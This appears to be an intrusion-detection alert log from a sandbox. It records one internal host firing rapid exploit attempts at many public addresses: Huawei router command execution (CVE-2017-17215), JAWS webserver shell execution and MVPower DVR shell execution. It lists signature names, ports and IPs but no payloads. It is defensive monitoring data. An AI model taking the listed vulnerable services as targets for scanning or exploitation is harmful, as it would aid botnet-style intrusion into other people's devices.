ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.14.175.34

Timestamp:	06/10/24-15:38:00.240544
SID:	2829579
Source Port:	39526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.51.90

Timestamp:	06/10/24-15:38:02.499468
SID:	2835222
Source Port:	51642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.230.86.20

Timestamp:	06/10/24-15:38:02.647206
SID:	2829579
Source Port:	39070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.184.163.172

Timestamp:	06/10/24-15:38:02.679364
SID:	2829579
Source Port:	55308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.97.36.34

Timestamp:	06/10/24-15:37:59.941715
SID:	2829579
Source Port:	41282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.167.77.113

Timestamp:	06/10/24-15:38:00.022039
SID:	2835222
Source Port:	48046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.11.68

Timestamp:	06/10/24-15:37:59.956930
SID:	2835222
Source Port:	39354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 163.171.166.32

Timestamp:	06/10/24-15:38:02.190464
SID:	2030092
Source Port:	54796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.115.29.3

Timestamp:	06/10/24-15:38:00.033459
SID:	2835222
Source Port:	36414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 96.121.230.115

Timestamp:	06/10/24-15:37:59.786107
SID:	2025883
Source Port:	40246
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.69.196

Timestamp:	06/10/24-15:37:59.927028
SID:	2829579
Source Port:	33064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.136.99.172

Timestamp:	06/10/24-15:38:02.872396
SID:	2829579
Source Port:	33202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.66.27.141

Timestamp:	06/10/24-15:38:02.656592
SID:	2829579
Source Port:	34154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.147.198.198

Timestamp:	06/10/24-15:38:02.856030
SID:	2829579
Source Port:	46888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.120.207.139

Timestamp:	06/10/24-15:38:02.656081
SID:	2829579
Source Port:	38930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.255.67.237

Timestamp:	06/10/24-15:38:02.814855
SID:	2835222
Source Port:	35140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.163.183

Timestamp:	06/10/24-15:37:59.997798
SID:	2829579
Source Port:	42556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 140.40.175.146

Timestamp:	06/10/24-15:38:02.247308
SID:	2030092
Source Port:	60392
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.176.31.94

Timestamp:	06/10/24-15:38:00.016307
SID:	2835222
Source Port:	60502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.237.170.76

Timestamp:	06/10/24-15:37:59.962047
SID:	2829579
Source Port:	56114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.86.244.31

Timestamp:	06/10/24-15:38:02.731556
SID:	2829579
Source Port:	54960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.84.42.33

Timestamp:	06/10/24-15:38:02.495900
SID:	2835222
Source Port:	54566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.125.121.243

Timestamp:	06/10/24-15:38:02.799993
SID:	2829579
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.116.245.45

Timestamp:	06/10/24-15:38:00.255864
SID:	2835222
Source Port:	46904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.185.191

Timestamp:	06/10/24-15:38:00.027008
SID:	2829579
Source Port:	42370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.209.100.187

Timestamp:	06/10/24-15:37:59.987736
SID:	2829579
Source Port:	37842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.135.28

Timestamp:	06/10/24-15:38:00.259448
SID:	2835222
Source Port:	58672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 158.99.97.254

Timestamp:	06/10/24-15:38:02.085779
SID:	2025883
Source Port:	50556
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 103.245.46.205

Timestamp:	06/10/24-15:38:02.201892
SID:	2030092
Source Port:	53342
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.76.64.6

Timestamp:	06/10/24-15:38:02.694481
SID:	2835222
Source Port:	51728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.247.171

Timestamp:	06/10/24-15:37:59.993727
SID:	2835222
Source Port:	53342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.38.108.66

Timestamp:	06/10/24-15:38:00.004662
SID:	2829579
Source Port:	53414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.209.45.106

Timestamp:	06/10/24-15:38:00.169848
SID:	2829579
Source Port:	55296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.71.124.70

Timestamp:	06/10/24-15:38:02.861461
SID:	2835222
Source Port:	35420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 9.203.151.161

Timestamp:	06/10/24-15:37:59.783784
SID:	2030092
Source Port:	39218
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 2.73.98.0

Timestamp:	06/10/24-15:38:02.176604
SID:	2030092
Source Port:	49096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.155.99.209

Timestamp:	06/10/24-15:38:02.852405
SID:	2829579
Source Port:	34956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.120.214.252

Timestamp:	06/10/24-15:38:02.806681
SID:	2829579
Source Port:	58028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.170.34.101

Timestamp:	06/10/24-15:37:59.971341
SID:	2829579
Source Port:	47258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.202.174.167

Timestamp:	06/10/24-15:38:02.908641
SID:	2829579
Source Port:	58970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 107.68.239.149

Timestamp:	06/10/24-15:38:02.155523
SID:	2030092
Source Port:	48748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 161.147.158.238

Timestamp:	06/10/24-15:38:02.178978
SID:	2030092
Source Port:	52472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.62.74

Timestamp:	06/10/24-15:38:02.493155
SID:	2829579
Source Port:	46310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.67.226.82

Timestamp:	06/10/24-15:37:59.935900
SID:	2829579
Source Port:	38508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 70.93.199.15

Timestamp:	06/10/24-15:38:02.215181
SID:	2030092
Source Port:	36916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.107.249

Timestamp:	06/10/24-15:38:00.231115
SID:	2835222
Source Port:	34872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.249.87.250

Timestamp:	06/10/24-15:38:00.270070
SID:	2829579
Source Port:	33262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.23.215

Timestamp:	06/10/24-15:38:02.842261
SID:	2835222
Source Port:	59676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.140.99

Timestamp:	06/10/24-15:38:00.023435
SID:	2835222
Source Port:	56786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 32.111.100.187

Timestamp:	06/10/24-15:37:59.779104
SID:	2030092
Source Port:	59220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 152.83.224.204

Timestamp:	06/10/24-15:37:59.871854
SID:	2030092
Source Port:	39034
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 45.60.178.180

Timestamp:	06/10/24-15:38:02.311647
SID:	2030092
Source Port:	54766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.215.149.213

Timestamp:	06/10/24-15:37:59.948996
SID:	2829579
Source Port:	42108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.196.209.129

Timestamp:	06/10/24-15:38:00.268090
SID:	2835222
Source Port:	59132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.251.49

Timestamp:	06/10/24-15:38:00.201993
SID:	2835222
Source Port:	34464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.39.55.229

Timestamp:	06/10/24-15:38:00.206692
SID:	2835222
Source Port:	47676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.40.65.61

Timestamp:	06/10/24-15:38:02.844763
SID:	2835222
Source Port:	55898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.53.52.238

Timestamp:	06/10/24-15:38:02.506945
SID:	2835222
Source Port:	38860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.134.168.58

Timestamp:	06/10/24-15:38:00.255183
SID:	2829579
Source Port:	55170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.142.47.5

Timestamp:	06/10/24-15:38:02.845835
SID:	2835222
Source Port:	58594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 92.104.254.49

Timestamp:	06/10/24-15:38:02.191076
SID:	2030092
Source Port:	34794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.17.67.8

Timestamp:	06/10/24-15:38:02.727944
SID:	2835222
Source Port:	44684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.205.70.44

Timestamp:	06/10/24-15:38:00.039203
SID:	2829579
Source Port:	46642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.253.198.195

Timestamp:	06/10/24-15:38:02.793700
SID:	2829579
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.217.48.49

Timestamp:	06/10/24-15:38:02.320455
SID:	2030092
Source Port:	36680
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.149.196

Timestamp:	06/10/24-15:38:00.034176
SID:	2835222
Source Port:	36348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.113.136.169

Timestamp:	06/10/24-15:38:02.916548
SID:	2835222
Source Port:	50156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.150.156

Timestamp:	06/10/24-15:38:02.801648
SID:	2829579
Source Port:	42440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 134.254.164.251

Timestamp:	06/10/24-15:38:02.188584
SID:	2030092
Source Port:	38476
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.146.144.209

Timestamp:	06/10/24-15:38:02.833196
SID:	2829579
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.207.139.16

Timestamp:	06/10/24-15:38:02.781625
SID:	2829579
Source Port:	39322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.205.253.53

Timestamp:	06/10/24-15:37:59.929860
SID:	2835222
Source Port:	33796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 213.227.25.210

Timestamp:	06/10/24-15:37:59.776818
SID:	2025883
Source Port:	59898
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.59.177.15

Timestamp:	06/10/24-15:37:59.962891
SID:	2835222
Source Port:	58138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.172.90.182

Timestamp:	06/10/24-15:38:02.491767
SID:	2829579
Source Port:	59288
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.164.177

Timestamp:	06/10/24-15:38:00.222372
SID:	2835222
Source Port:	57074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.100.180.103

Timestamp:	06/10/24-15:38:00.228570
SID:	2835222
Source Port:	54124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 144.255.245.3

Timestamp:	06/10/24-15:38:02.310242
SID:	2030092
Source Port:	47818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 203.54.242.166

Timestamp:	06/10/24-15:37:59.745869
SID:	2030092
Source Port:	37862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.111.149.77

Timestamp:	06/10/24-15:38:02.738142
SID:	2829579
Source Port:	44866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.126.31

Timestamp:	06/10/24-15:37:59.950533
SID:	2835222
Source Port:	38960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 110.111.139.8

Timestamp:	06/10/24-15:38:02.140610
SID:	2030092
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.45.237.96

Timestamp:	06/10/24-15:38:00.009869
SID:	2835222
Source Port:	32966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.51.65.173

Timestamp:	06/10/24-15:38:02.615090
SID:	2835222
Source Port:	52872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.198.51

Timestamp:	06/10/24-15:38:00.232831
SID:	2829579
Source Port:	33494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.190.134.35

Timestamp:	06/10/24-15:38:02.873305
SID:	2835222
Source Port:	55624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.242.68.175

Timestamp:	06/10/24-15:38:02.816370
SID:	2829579
Source Port:	56330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.94.153.112

Timestamp:	06/10/24-15:38:00.185349
SID:	2829579
Source Port:	60220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.99.186.57

Timestamp:	06/10/24-15:38:02.567099
SID:	2829579
Source Port:	45438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.125.121.243

Timestamp:	06/10/24-15:38:02.799993
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 112.146.51.255

Timestamp:	06/10/24-15:38:02.087126
SID:	2025883
Source Port:	38432
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 195.102.40.110

Timestamp:	06/10/24-15:38:02.260368
SID:	2030092
Source Port:	33388
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.238.163.110

Timestamp:	06/10/24-15:38:00.036323
SID:	2829579
Source Port:	50702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 9.60.185.133

Timestamp:	06/10/24-15:38:02.171505
SID:	2030092
Source Port:	59408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.222.92.212

Timestamp:	06/10/24-15:38:02.722392
SID:	2835222
Source Port:	52368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.186.65

Timestamp:	06/10/24-15:37:59.960374
SID:	2835222
Source Port:	56034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 87.161.152.180

Timestamp:	06/10/24-15:38:02.163354
SID:	2030092
Source Port:	46394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.201.241.195

Timestamp:	06/10/24-15:38:00.265357
SID:	2835222
Source Port:	51268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.123.237.221

Timestamp:	06/10/24-15:38:00.167791
SID:	2829579
Source Port:	59702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 169.89.191.129

Timestamp:	06/10/24-15:38:02.256334
SID:	2030092
Source Port:	57332
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 169.8.129.214

Timestamp:	06/10/24-15:38:02.098347
SID:	2030092
Source Port:	46904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.229.89.182

Timestamp:	06/10/24-15:38:02.783251
SID:	2835222
Source Port:	39562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 216.4.227.234

Timestamp:	06/10/24-15:38:02.172737
SID:	2030092
Source Port:	50846
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 211.255.132.135

Timestamp:	06/10/24-15:38:02.130779
SID:	2030092
Source Port:	38916
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.67.106.155

Timestamp:	06/10/24-15:38:02.733766
SID:	2835222
Source Port:	33040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.46.200

Timestamp:	06/10/24-15:38:00.187605
SID:	2835222
Source Port:	46806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

